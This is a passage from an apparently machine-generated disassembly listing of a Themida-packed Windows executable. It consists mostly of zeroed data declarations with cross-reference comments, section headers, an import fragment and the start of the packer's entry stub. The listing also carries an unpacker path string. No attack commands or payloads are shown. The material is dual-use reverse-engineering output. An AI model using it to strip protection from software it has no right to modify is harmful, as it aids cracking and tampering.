sub_4087EE+28r ; sub_4089E7+2Br ... dword_43ACF4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:00415550r dword_43ACF8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43ACFC dd 0 ; DATA XREF: sub_4085B3+207r ; sub_40981F+496w dword_43AD00 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43AD04 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43AD08 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43AD0C dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43AD10 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43AD14 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43AD18 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43AD1C dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43AD20 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43AD24 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43AD28 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43AD2C dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43AD30 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43AD34 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43AD38 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43AD3C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43AD40 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43AD44 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43AD48 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43AD4C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43AD50 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43AD54 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43AD58 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43AD5C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43AD60 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43AD64 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43AD68 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43AD6C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43AD70 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43AD74 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43AD78 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43AD7C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43AD80 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43AD84 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43AD88 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43AD8C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43AD90 dd 0 ; DATA XREF: sub_40981F+A73w dword_43AD94 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43AD98 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43AD9C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43ADA0 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43ADA4 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43ADA8 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43ADAC dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43ADB0 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43ADB4 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43ADB8 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43ADBC dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43ADC0 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43ADC4 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43ADC8 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4624r dword_43ADCC dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43ADD0 dd 0 ; DATA XREF: sub_40981F+112w dword_43ADD4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43ADD8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43ADDC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43ADE0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43ADE4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43ADE8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43ADEC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43ADF0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43ADF4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43ADF8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43ADFC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43AE00 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43AE04 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511F+55r dword_43AE08 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43AE0C dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43AE10 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43AE14 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43AE18 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43AE1C dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43AE20 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43AE24 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43AE28 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43AE2C dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43AE30 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43AE34 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43AE38 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43AE3C dd 0 ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43AE40 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43AE44 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43AE48 dd 0 ; DATA XREF: sub_4087EE+1ECr ; sub_4089E7+232r ... align 10h dword_43AE50 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43AE54 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43AE58 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43AE5C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43AE60 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43AE64 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43AE68 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43AE6C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43AE70 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43AE74 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43AE78 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43AE7C dd 0 ; DATA XREF: sub_40981F+7B2w ; sub_40A4AC+ECr dword_43AE80 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43AE84 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43AE88 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43AE8C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43AE90 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43AE94 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43AE98 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43AE9C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43AEA0 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43AEA4 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43AEA8 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43AEAC dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43AEB0 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43AEB4 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43AEB8 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43AEBC dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43AEC0 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43AEC4 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43AEC8 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43B0CC dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43B0E0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43B0E4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43B0E8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43B0EC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43B0F0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43B124 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43B12C dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43B164 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_43F164 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_43F168 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_43F1A0 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_43F1A8 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_43F204 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_43F404 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_43F408 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_43F464 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_43F664 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_43F668 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_43F868 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_43FA70 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_43FA88 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_4405F0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dd 7Fh dup(0) dword_4407F0 dd 0 ; DATA XREF: sub_416D5C+41w ; sub_416E97+40w ... dword_4407F4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4407F8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_416810+AEw ... dword_4407FC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_440800 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_440804 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_440808 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3357r ... align 4 dd 13D1h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dword_450050 dd 10003h dup(0) dword_49005C dd 0F565h dup(0) ; DATA XREF: ___:off_427B6Co dword_4CD5F0 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; ___:0040E6E3w ... align 8 dword_4CD5F8 dd 0 ; DATA XREF: ___:loc_40EAA4o dword_4CD5FC dd 20h dup(0) ; DATA XREF: ___:0040EA3Co ; ___:0040EAF5o ... dword_4CD67C dd 10h dup(0) ; DATA XREF: ___:0040EA53o ; sub_40EE72+929o dword_4CD6BC dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao dword_4CD74C dd 0 ; DATA XREF: ___:0040EA5Ew ; ___:0040EB0Cw ... dword_4CD750 dd 0 ; DATA XREF: ___:0040EA7Dw align 10h dword_4CD760 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_4CD768 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_4CD76C dd 0 ; DATA XREF: ___:0040EAA9w ; ___:0040EAC0r ... dword_4CD770 dd 0 ; DATA XREF: ___:0040EA41w ; sub_40EE72+8CAr dd 2 dup(0) dword_4CD77C dd 0 ; DATA XREF: ___:004155C6r dd 0 dword_4CD784 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do dword_4CD7F0 dd 0 ; DATA XREF: sub_416FA4+16o ; sub_416FC3+19o dword_4CD7F4 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do byte_4CD988 db 0 ; DATA XREF: sub_416C55+6Ar ; sub_416C55+98w align 4 dd 2 dup(0) dword_4CD994 dd 0 ; DATA XREF: sub_417D73+Aw dword_4CD998 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_4CD9A0 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_4CD9A2 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_4CD9A6 dw 0 ; DATA XREF: sub_4186B1+3Br word_4CD9A8 dw 0 ; DATA XREF: sub_4186B1+2Er word_4CD9AA dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_4CD9B0 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_4CD9B4 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_4CD9B8 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_4CD9BC dd 0 ; DATA XREF: sub_41FEC6+13Ar dd 0A28h, 501h, 5, 1 dword_4CD9D0 dd 1 ; DATA XREF: ___:loc_40E98Cr ; ___:0041F2D1w dword_4CD9D4 dd 2440B30h ; DATA XREF: ___:0040E995r ; ___:0040E9B5r ... dd 0 dword_4CD9DC dd 2440B58h ; DATA XREF: ___:0041F1CBw ; sub_421DAE+9r ... dword_4CD9E0 dd 0 ; DATA XREF: sub_422492+36r dword_4CD9E4 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_4CD9EC dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4CD9F4 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_4CD9F8 dd 0 ; DATA XREF: sub_419B07+27w dword_4CD9FC dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_4CDA00 dd 0 ; DATA XREF: ___:loc_41F199r ; ___:loc_41F1DBr ... align 8 dword_4CDA08 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ... dword_4CDA0C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_4CDA14 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_4CDA18 dd 0 ; DATA XREF: sub_41AB54r dword_4CDA1C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_4CDA20 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_4CDA24 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_4CDA28 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_4CDA2C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_4CDA30 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_4CDA34 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_4CDA38 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_4CDA3C dd 0 ; DATA XREF: sub_41D4FC+29r dword_4CDA40 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_4CDA48 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_4CDA58 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_4CDA60 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_4CDA64 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_4CDA68 dd 0 ; DATA XREF: ___:0041EFE5r ; ___:0041EFF1w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o ; ___:off_4CD9ECo align 4 dd 3Ah dup(0) dword_4CDB70 dd 1 ; DATA XREF: ___:0041F48Fr ; ___:0041F4B0w ... dword_4CDB74 dd 0 ; DATA XREF: sub_41F84C+21r dword_4CDB78 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_4CDB7C dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_4CDB80 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_4CDB88 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_4CDB8A db 0 ; DATA XREF: sub_42074B+39r align 4 dword_4CDB8C dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_4CDBA8 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_4CDBAC dd 0 ; DATA XREF: sub_42074B+4Dw dword_4CDBB0 dd 0 ; DATA XREF: sub_42074B+31w dword_4CDBB4 dd 0 ; DATA XREF: sub_42074B+52w dword_4CDBB8 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_4CDBC0 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_4CDBC8 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_4CDBCC dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_4CDC0C dw 0 ; DATA XREF: sub_420BAC+A8r word_4CDC0E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_4CDC10 dw 0 ; DATA XREF: sub_420BAC+CAr word_4CDC12 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_4CDC14 dw 0 ; DATA XREF: sub_420BAC+C0r word_4CDC16 dw 0 ; DATA XREF: sub_420BAC+B8r word_4CDC18 dw 0 ; DATA XREF: sub_420BAC+B0r word_4CDC1A dw 0 ; DATA XREF: sub_420BAC+9Er dword_4CDC1C dd 0 ; DATA XREF: sub_42094E+4Br dword_4CDC20 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_4CDC60 dw 0 ; DATA XREF: sub_420BAC+46r word_4CDC62 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_4CDC64 dw 0 ; DATA XREF: sub_420BAC+67r word_4CDC66 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_4CDC68 dw 0 ; DATA XREF: sub_420BAC+5Dr word_4CDC6A dw 0 ; DATA XREF: sub_420BAC+55r word_4CDC6C dw 0 ; DATA XREF: sub_420BAC+4Dr word_4CDC6E dw 0 ; DATA XREF: sub_420BAC+3Er dword_4CDC70 dd 0 ; DATA XREF: sub_42094E+80r dword_4CDC74 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_4CDC78 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_4CDC7C dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_4CDC80 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_4CDC84 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_4CDC88 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_4CDC8C dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_4CDC90 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_4CDC94 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_4CDC98 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_4CDCA0 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_4CDCA4 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_4CDCA8 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_4CDCAC db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_4CDCB0 dd 2441140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_4CDCC0 dd 400h dup(0) ; DATA XREF: ___:off_436388o ; ___:00436390o dword_4CECC0 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_4CECE0 dd 2440650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_4CECE4 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o dword_4CEDE0 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_4CEDE4 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_4CEDF0 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_4CEDFC dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_4CEE00 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4CEF00 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_4CEF01 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4CF004 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_4CF008 dd 0 ; DATA XREF: sub_41B3E6+5r ; sub_41B3E6+32w dword_4CF00C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_4CF010 dd 0 ; DATA XREF: sub_41ADB4+311w ; sub_41B0DD:loc_41B12Dr ... dword_4CF014 dd 0 ; DATA XREF: sub_41ADB4+22Dr ; sub_41ADB4+260r ... dword_4CF018 dd 0 ; DATA XREF: sub_41AD89r ; sub_41ADB4+2CBr ... dword_4CF01C dd 0 ; DATA XREF: sub_41AD89+8r ; sub_41ADB4+2D0r ... dword_4CF020 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_4CF024 dd 2440000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_4CF028 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_4CF02C dd 142340h ; DATA XREF: ___:0041F13Er ; ___:0041F269r dword_4CF030 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr dword_4CF034 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_4CF038 dd 2440758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_4CF03C dd 2440758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 3F0h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000D1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4D1000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000D2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D2000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4D2000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0D2050h, 0D2000h, 3 dup(0) dd 0D2079h, 0D200Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000D3000) ; Virtual size : 000F8000 (1015808.) ; Section size in file : 000F8000 (1015808.) ; Offset to raw data for section: 000D3000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4D3000h dd 859235C9h, 49E45h, 5FEBEh, 98172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053C6A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053FC71 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053FEE7 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4D3086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4D3041 popa jmp short loc_4D3076 ; --------------------------------------------------------------------------- a70m db 'Û-70M',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; 